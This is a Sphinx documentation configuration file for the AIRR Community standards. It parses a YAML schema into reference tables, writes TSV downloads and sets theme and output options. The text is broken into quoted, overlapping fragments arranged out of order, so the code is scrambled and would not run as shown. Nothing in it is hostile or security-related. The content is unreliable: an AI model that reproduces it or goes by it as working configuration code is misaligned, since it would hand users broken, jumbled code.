"TSV fields = ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables",
"from the yaml file. Returns: list: list of dictionaries with parsed rows of",
"# # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files.",
"object schema (dict): master schema dictionary parsed from the yaml file. Returns: list:",
"a page # # (name, \"/aa/bb\", 1) # a link to an arbitrary",
"\"nav\" (default), \"footer\" or anything else to exclude. # 'source_link_position': 'none', # #",
"custom static files (such as style sheets) here, # relative to this directory.",
"Mock()) for mod_name in mock_modules) # -- General configuration ------------------------------------------------ # Setup #",
"by # sphinx-quickstart on Fri Nov 17 14:47:21 2017. # # This file",
"page? # # Values: \"true\" (default) or \"false\" # 'navbar_fixed_top': 'true', # #",
"Standard attributes required_field = False if required is None or prop not in",
"dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables: for r in data_elements[spec]: if r['Level']",
"= {'airr_schema': airr_schema} # Iterate over schema and build reference tables data_elements =",
"= data_type_map.get(data_type, '') # Arrays if data_type == 'array': if attr['items'].get('$ref') is not",
"(default) or \"false\" # 'globaltoc_includehidden': 'false', # # # HTML navbar class (Default:",
"various other places throughout the # built documents. # # The short X.Y",
"'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema =",
"of tuples # (source start file, name, description, authors, manual section). man_pages =",
"manual section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ] #",
"site. (Default: \"Site\") # 'navbar_site_name': 'Contents', # # # A list of tuples",
"If this is \"false\", you cannot have mixed ``:hidden:`` and # # non-hidden",
"tuples # (source start file, target name, title, # author, documentclass [howto, manual,",
"for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name):",
"parts = [string[i:i + str_length].strip() for i in range(0, len(string), str_length)] return ('\\n'.join(parts)",
"attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn, sn) # x-airr attributes if 'x-airr'",
"autodoc) are in another directory, # add these directories to sys.path here. If",
"for \"site\" navbar tab. (Default: 1) # # Switching to -1 shows all",
"that are commented out # serve to show the default. # If extensions",
"for source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add any paths that",
"# # # Tab name for entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents',",
"example = attr.get('example', '') description = attr.get('description', '') # Data type data_type =",
"= ', '.join(filter(lambda x: x != '', f)) # Return dictionary r =",
"'http://airr-community.org', True)], # # # Render the next and previous page links in",
"properties = schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate over properties table_rows =",
"# Render the current pages TOC in the navbar. (Default: true) # 'navbar_pagenav':",
"'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as",
"sn) elif attr['items'].get('type') is not None: data_type = 'array of %s' % attr['items']['type']",
"data_format = 'Ontology: { top_node: { id: %s, value: %s}}' % (ontology_format) #",
"# # # Render the next and previous page links in navbar. (Default:",
"or \"false\" # 'navbar_fixed_top': 'true', # # # Location of link to source.",
"here, relative to this directory. templates_path = ['_templates'] # The master toctree document.",
"# # will break. # # # # Values: \"true\" (default) or \"false\"",
"in required else True title = attr.get('title', '') example = attr.get('example', '') description",
"data ---------------------------------- # The version info for the project you're documenting, acts as",
"\"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme = 'bootstrap' # html_theme_path",
"Values: \"3\" (default) or \"2\" (in quotes) # 'bootstrap_version': '2', # } #",
"25]: parts = [string[i:i + str_length].strip() for i in range(0, len(string), str_length)] return",
"len(x) > 25]: parts = [string[i:i + str_length].strip() for i in range(0, len(string),",
"latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize':",
"# # non-hidden ``toctree`` directives in the same page, or else the build",
"system path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True':",
"file, created by # sphinx-quickstart on Fri Nov 17 14:47:21 2017. # #",
"# 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', # 'navigation.html', #",
"pages TOC in the navbar. (Default: true) # 'navbar_pagenav': True, # # #",
"html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']}",
"files. List of tuples # (source start file, target name, title, author, #",
"templates_path = ['_templates'] # The master toctree document. master_doc = 'index' # General",
"= False identifier = False miairr_level = '' miairr_set = '' miairr_subset =",
"# # Currently, the supported themes are: # # - Bootstrap 2: https://bootswatch.com/2",
"are present in this # autogenerated file. # # All configuration values have",
"LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # #",
"object data_elements[spec] = parse_schema(spec, airr_schema) # Update doc html_context html_context[spec + '_schema'] =",
"authors, manual section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ]",
"author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards",
"LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper').",
"object for doc tables Arguments: spec (str): name of the schema object schema",
"'12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #",
"% (example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary': if attr.get('enum', None) is not",
"description of project.', 'Miscellaneous'), ] # -- Build schema reference tables ---------------------------------------- #",
"schema): \"\"\" Parse an AIRR schema object for doc tables Arguments: spec (str):",
"elif attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' %",
"# Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod",
"Data type data_type = attr.get('type', '') data_format = data_type_map.get(data_type, '') # Arrays if",
"Community' # The name of the Pygments (syntax highlighting) style to use. highlight_language",
"not None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`' % (sn,",
"of tuples # (source start file, target name, title, # author, documentclass [howto,",
"(http://bootswatch.com/) theme. # # # # Options are nothing (default) or the name",
"``:hidden:`` and # # non-hidden ``toctree`` directives in the same page, or else",
"Bootstrap version. # # Values: \"3\" (default) or \"2\" (in quotes) # 'bootstrap_version':",
"in Site navbar? # # # # Note: If this is \"false\", you",
"for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or",
"parse_schema(spec, schema): \"\"\" Parse an AIRR schema object for doc tables Arguments: spec",
"None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable = True",
"have a default; values that are commented out # serve to show the",
"# will break. # # # # Values: \"true\" (default) or \"false\" #",
"description, category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line",
"\"navbar navbar-inverse\" # 'navbar_class': 'navbar', # # # Fix navigation bar to top",
"attr.get('enum', None) is not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['enum'])",
"add these directories to sys.path here. If the directory is relative to the",
"latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ] # --",
"Pygments (syntax highlighting) style to use. highlight_language = 'bash' pygments_style = 'vs' #",
"that contain custom static files (such as style sheets) here, # relative to",
"Function to chop down long strings of the table def wrap_col(string, str_length=11): \"\"\"",
"another directory, # add these directories to sys.path here. If the directory is",
"(such as style sheets) here, # relative to this directory. They are copied",
"if len(x) > 25]: parts = [string[i:i + str_length].strip() for i in range(0,",
"sys import yaml import yamlordereddictloader from unittest.mock import MagicMock # -- Python environment",
"\"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme =",
"root, use os.path.abspath to make it absolute, like shown here. # -- Imports",
"ontology example = 'id: %s, value: %s' % (example['id'], example['label']) elif xairr['format'] ==",
"# The set of valid themes depend on the version of Bootstrap #",
"= 'alabaster' # html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True,",
"-*- # # airr-standards documentation build configuration file, created by # sphinx-quickstart on",
"relative to source directory, that match files and # directories to ignore when",
"miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset', '') #",
"Documentation', [author], 1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping",
"'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # --",
"schema properties = schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate over properties table_rows",
"files and # directories to ignore when looking for source files. exclude_patterns =",
"for r in data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] =",
"return (string) def parse_schema(spec, schema): \"\"\" Parse an AIRR schema object for doc",
"-- Build schema reference tables ---------------------------------------- # Function to chop down long strings",
"spec in tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f: writer =",
"len(string), str_length)] return ('\\n'.join(parts) + '\\n') else: return (string) def parse_schema(spec, schema): \"\"\"",
"not None: data_type = 'array of %s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology':",
"# Function to chop down long strings of the table def wrap_col(string, str_length=11):",
"and previous page links in navbar. (Default: true) # 'navbar_sidebarrel': True, # #",
"above as the third argument to indicate # # an arbitrary url. #",
"# Note: If this is \"false\", you cannot have mixed ``:hidden:`` and #",
"if deprecated: field_attributes = 'DEPRECATED' else: f = ['required' if required_field else 'optional',",
"Currently, the supported themes are: # # - Bootstrap 2: https://bootswatch.com/2 # #",
"# -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper",
"String wrap \"\"\" if [x for x in string.split(' ') if len(x) >",
"of project.', 'Miscellaneous'), ] # -- Build schema reference tables ---------------------------------------- # Function",
"on Fri Nov 17 14:47:21 2017. # # This file is execfile()d with",
"'true | false'} # Get schema properties = schema[spec]['properties'] required = schema[spec].get('required', None)",
"(master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ] # -- Options for manual",
"this directory. They are copied after the builtin static files, # so a",
"import os import sys import yaml import yamlordereddictloader from unittest.mock import MagicMock #",
"Write MiAIRR TSV fields = ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition',",
"'htbp', } # Grouping the document tree into LaTeX files. List of tuples",
"its # containing dir. # # Note that not all possible configuration values",
"is relative to the # documentation root, use os.path.abspath to make it absolute,",
"-- Site configuration from schema data ---------------------------------- # The version info for the",
"xairr.get('set', '') miairr_subset = xairr.get('subset', '') # Set data format for ontologies and",
"match files and # directories to ignore when looking for source files. exclude_patterns",
"# # Valid tuples should be in the following forms: # # (name,",
"== 'ontology' and 'ontology' in xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label'])",
"= yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate over schema and build",
"Grouping the document tree into LaTeX files. List of tuples # (source start",
"(default), \"footer\" or anything else to exclude. # 'source_link_position': 'none', # # #",
"https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # #",
"mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) # -- General",
"configuration from schema data ---------------------------------- # The version info for the project you're",
"miairr_schema # Write individual spec TSVs fields = ['Name', 'Type', 'Attributes', 'Definition'] tables",
"miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer =",
"return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) #",
"source directory, that match files and # directories to ignore when looking for",
"Replace name with url-linked name data_format = 'Ontology: { top_node: { id: %s,",
"# -- Options for HTML output ------------------------------------------ # Add any paths that contain",
"of %s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif",
"https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # # Choose Bootstrap version. # # Values:",
"'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone',",
"= 'array of %s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology",
"is not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable",
"data_type == 'array': if attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type =",
"- Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab',",
"'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree',",
"# 'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/) theme. # # # #",
"present in this # autogenerated file. # # All configuration values have a",
"any paths that contain templates here, relative to this directory. templates_path = ['_templates']",
"'Designation': title, 'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition': description, 'Example': example, 'Level':",
"== 'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() mock_modules = ['numpy',",
"List of patterns, relative to source directory, that match files and # directories",
"'navbar_pagenav_name': 'Page', # # # Global TOC depth for \"site\" navbar tab. (Default:",
"'') # Data type data_type = attr.get('type', '') data_format = data_type_map.get(data_type, '') #",
"relative to this directory. They are copied after the builtin static files, #",
"data_elements = {} for spec in airr_schema: if 'properties' not in airr_schema[spec]: continue",
"vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable = True deprecated = False identifier",
"else ''] field_attributes = ', '.join(filter(lambda x: x != '', f)) # Return",
"'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = { #",
"Note that not all possible configuration values are present in this # autogenerated",
"(source start file, target name, title, # author, documentclass [howto, manual, or own",
"in the following forms: # # (name, page) # a link to a",
"needs_sphinx = '1.6' # Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext']",
"-1 shows all levels. # 'globaltoc_depth': 1, # # # Include hidden TOCs",
"\"http://example.com\", True) # arbitrary absolute url # # Note the \"1\" or \"True\"",
"attr in properties.items(): # Standard attributes required_field = False if required is None",
"prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type, 'Format': data_format,",
"'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions source_suffix = ['.rst'] # List",
"Write download tables ------------------------------------------------ # Write download spec files download_path = '_downloads' if",
"{'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type, 'Format':",
"= '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields = ['Set',",
"# documentation root, use os.path.abspath to make it absolute, like shown here. #",
"html_context = {'airr_schema': airr_schema} # Iterate over schema and build reference tables data_elements",
"'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription',",
"'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data",
"# All configuration values have a default; values that are commented out #",
"to ignore when looking for source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] #",
"'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() mock_modules = ['numpy', 'pandas']",
"'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample',",
"# Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the",
"r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual spec",
"extensions (or modules to document with autodoc) are in another directory, # add",
"\"footer\" or anything else to exclude. # 'source_link_position': 'none', # # # Bootswatch",
"# Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source",
"'DEPRECATED' else: f = ['required' if required_field else 'optional', 'identifier' if identifier else",
"fields = ['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample',",
"documentation root, use os.path.abspath to make it absolute, like shown here. # --",
"table_rows = [] for prop, attr in properties.items(): # Standard attributes required_field =",
"% (ontology_format) # Get 'type' for ontology example = 'id: %s, value: %s'",
"navbar. (Default: true) # 'navbar_pagenav': True, # # # Tab name for the",
"If extensions (or modules to document with autodoc) are in another directory, #",
"= attr.get('description', '') # Data type data_type = attr.get('type', '') data_format = data_type_map.get(data_type,",
"The master toctree document. master_doc = 'index' # General information about the project.",
"def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if [x for x in string.split('",
"data_type_map.get(data_type, '') # Arrays if data_type == 'array': if attr['items'].get('$ref') is not None:",
"of :ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type') is not None: data_type =",
"else to exclude. # 'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/) theme. #",
"html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = { # # Navigation bar",
"have mixed ``:hidden:`` and # # non-hidden ``toctree`` directives in the same page,",
"# # # Choose Bootstrap version. # # Values: \"3\" (default) or \"2\"",
"'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with open(os.path.join(download_path, '%s.tsv' % spec),",
"extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from schema data ---------------------------------- # The",
"the # documentation root, use os.path.abspath to make it absolute, like shown here.",
"# # The set of valid themes depend on the version of Bootstrap",
"# Bootswatch (http://bootswatch.com/) theme. # # # # Options are nothing (default) or",
"Standards' copyright = '2017-2021, AIRR Community' author = 'AIRR Community' # The name",
"\"default.css\" will overwrite the builtin \"default.css\". html_static_path = ['_static'] # HTML help htmlhelp_basename",
"(name, \"http://example.com\", True) # arbitrary absolute url # # Note the \"1\" or",
"of the Pygments (syntax highlighting) style to use. highlight_language = 'bash' pygments_style =",
"Community Standards', # # # Tab name for entire site. (Default: \"Site\") #",
"{'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html',",
"False) identifier = xairr.get('identifier', False) # MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set",
"the current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', # # # Global",
"'navbar_sidebarrel': True, # # # Render the current pages TOC in the navbar.",
"for the current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', # # #",
"} # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The",
"name, description, authors, manual section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author],",
"documenting, acts as replacement for # |version| and |release|, also used in various",
"relative url # # (name, \"http://example.com\", True) # arbitrary absolute url # #",
"%s, value: %s' % (example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary': if attr.get('enum',",
"# -- Site configuration from schema data ---------------------------------- # The version info for",
"tables data_elements = {} for spec in airr_schema: if 'properties' not in airr_schema[spec]:",
"'array of :ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type') is not None: data_type",
"version of Bootstrap # # that's used (the next config option). # #",
"directories to sys.path here. If the directory is relative to the # documentation",
"# (source start file, name, description, authors, manual section). man_pages = [ (master_doc,",
"attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type') is",
"'11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX",
"if 'format' in xairr: if xairr['format'] == 'ontology' and 'ontology' in xairr: base_dic",
"# # This file is execfile()d with the current directory set to its",
"# Setup # def setup(app): # # Can also be a full URL",
"# The master toctree document. master_doc = 'index' # General information about the",
"they produce nothing. todo_include_todos = False # -- Options for HTML output ------------------------------------------",
"This file is execfile()d with the current directory set to its # containing",
"and controlled vocabularies if 'format' in xairr: if xairr['format'] == 'ontology' and 'ontology'",
"valid theme # # such as \"cosmo\" or \"sandstone\". # # # #",
"--------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # #",
"# Update doc html_context html_context[spec + '_schema'] = data_elements[spec] # -- Write download",
"over properties table_rows = [] for prop, attr in properties.items(): # Standard attributes",
"'.join(attr['items']['enum']) else: nullable = True deprecated = False identifier = False miairr_level =",
"quotes) # 'bootstrap_version': '2', # } # -- Options for LaTeX output ---------------------------------------------",
"'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR",
"# html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html',",
"navigation bar to top of page? # # Values: \"true\" (default) or \"false\"",
"= '' miairr_set = '' miairr_subset = '' if deprecated: field_attributes = 'DEPRECATED'",
"{'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options =",
"Documentation', 'AIRR Community', 'manual'), ] # -- Options for manual page output ---------------------------------------",
"attributes miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset', '')",
"# so a file named \"default.css\" will overwrite the builtin \"default.css\". html_static_path =",
"the builtin \"default.css\". html_static_path = ['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc' #",
"document tree into LaTeX files. List of tuples # (source start file, target",
"are commented out # serve to show the default. # If extensions (or",
"= ['required' if required_field else 'optional', 'identifier' if identifier else '', 'nullable' if",
"attributes required_field = False if required is None or prop not in required",
"# # (name, \"/aa/bb\", 1) # a link to an arbitrary relative url",
"shows all levels. # 'globaltoc_depth': 1, # # # Include hidden TOCs in",
"f)) # Return dictionary r = {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation':",
"MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset',",
"'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of",
"tuples # (source start file, target name, title, author, # dir menu entry,",
"# # that's used (the next config option). # # # # Currently,",
"the document tree into LaTeX files. List of tuples # (source start file,",
"absolute, like shown here. # -- Imports ---------------------------------------------------------------- import csv import os import",
"for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema':",
"'identifier' if identifier else '', 'nullable' if nullable else ''] field_attributes = ',",
"target name, title, author, # dir menu entry, description, category) texinfo_documents = [",
"# List of patterns, relative to source directory, that match files and #",
"tables = data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as",
"(the next config option). # # # # Currently, the supported themes are:",
"(source start file, target name, title, author, # dir menu entry, description, category)",
"Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate over schema and build reference tables",
"The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font",
"# # - Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3 #",
"= [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f,",
"xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with",
"attr.get('items', None) is not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum'])",
"html <br /> ''' # Minimal Sphinx version needs_sphinx = '1.6' # Sphinx",
"open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore')",
"environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if",
"else: nullable = True deprecated = False identifier = False miairr_level = ''",
"nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data for schemas with",
"in string.split(' ') if len(x) > 25]: parts = [string[i:i + str_length].strip() for",
"is not None: data_type = 'array of %s' % attr['items']['type'] elif attr.get('$ref') ==",
"Bootswatch (http://bootswatch.com/) theme. # # # # Options are nothing (default) or the",
"author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards",
"html_sidebars = {'**': ['about.html', # 'navigation.html', # 'searchbox.html']} # PyData options # html_theme",
"value above as the third argument to indicate # # an arbitrary url.",
"They are copied after the builtin static files, # so a file named",
"sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) # -- General configuration ------------------------------------------------ # Setup",
"# tables = data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'), 'w')",
"csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables: for r in data_elements[spec]:",
"'format' in xairr: if xairr['format'] == 'ontology' and 'ontology' in xairr: base_dic =",
"navbar. (Default: true) # 'navbar_sidebarrel': True, # # # Render the current pages",
"options # html_theme = 'alabaster' # html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards',",
"# Global TOC depth for \"site\" navbar tab. (Default: 1) # # Switching",
"data_format = 'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items', None) is not",
"Get schema properties = schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate over properties",
"modules to document with autodoc) are in another directory, # add these directories",
"airr_schema} # Iterate over schema and build reference tables data_elements = {} for",
"-- Options for manual page output --------------------------------------- # One entry per manual page.",
"class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name,",
"All configuration values have a default; values that are commented out # serve",
"# Standard attributes required_field = False if required is None or prop not",
"AIRR Community' author = 'AIRR Community' # The name of the Pygments (syntax",
"# directories to ignore when looking for source files. exclude_patterns = ['_build', 'Thumbs.db',",
"Define source file extensions source_suffix = ['.rst'] # List of patterns, relative to",
"navbar-inverse\" # 'navbar_class': 'navbar', # # # Fix navigation bar to top of",
"'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition': description, 'Example':",
"deprecated = False identifier = False miairr_level = '' miairr_set = '' miairr_subset",
"PyData options # html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" #",
"'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items', None) is not None: data_format",
"\"site\" navbar tab. (Default: 1) # # Switching to -1 shows all levels.",
"# # Values: \"true\" (default) or \"false\" # 'navbar_fixed_top': 'true', # # #",
"False identifier = False miairr_level = '' miairr_set = '' miairr_subset = ''",
"# Alabaster options # html_theme = 'alabaster' # html_theme_options = {'github_user': 'airr-community', #",
"required is None or prop not in required else True title = attr.get('title',",
"to exclude. # 'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/) theme. # #",
"to document with autodoc) are in another directory, # add these directories to",
"page links in navbar. (Default: true) # 'navbar_sidebarrel': True, # # # Render",
"'controlled vocabulary': if attr.get('enum', None) is not None: data_format = 'Controlled vocabulary: %s'",
"else they produce nothing. todo_include_todos = False # -- Options for HTML output",
"description = attr.get('description', '') # Data type data_type = attr.get('type', '') data_format =",
"true) # 'navbar_sidebarrel': True, # # # Render the current pages TOC in",
"---------------------------------------- # Function to chop down long strings of the table def wrap_col(string,",
"sheets) here, # relative to this directory. They are copied after the builtin",
"(default) or \"2\" (in quotes) # 'bootstrap_version': '2', # } # -- Options",
"= {'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True, #",
"'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules) # -- General configuration ------------------------------------------------ #",
"the next and previous page links in navbar. (Default: true) # 'navbar_sidebarrel': True,",
"ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name): return",
"= 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable = True deprecated =",
"parse_schema(spec, airr_schema) # Update doc html_context html_context[spec + '_schema'] = data_elements[spec] # --",
"'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions source_suffix = ['.rst'] # List of",
"# # Include hidden TOCs in Site navbar? # # # # Note:",
"'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line description of project.', 'Miscellaneous'), ] #",
"''] field_attributes = ', '.join(filter(lambda x: x != '', f)) # Return dictionary",
"xairr: if xairr['format'] == 'ontology' and 'ontology' in xairr: base_dic = xairr['ontology'] ontology_format",
"title = attr.get('title', '') example = attr.get('example', '') description = attr.get('description', '') #",
"this directory. templates_path = ['_templates'] # The master toctree document. master_doc = 'index'",
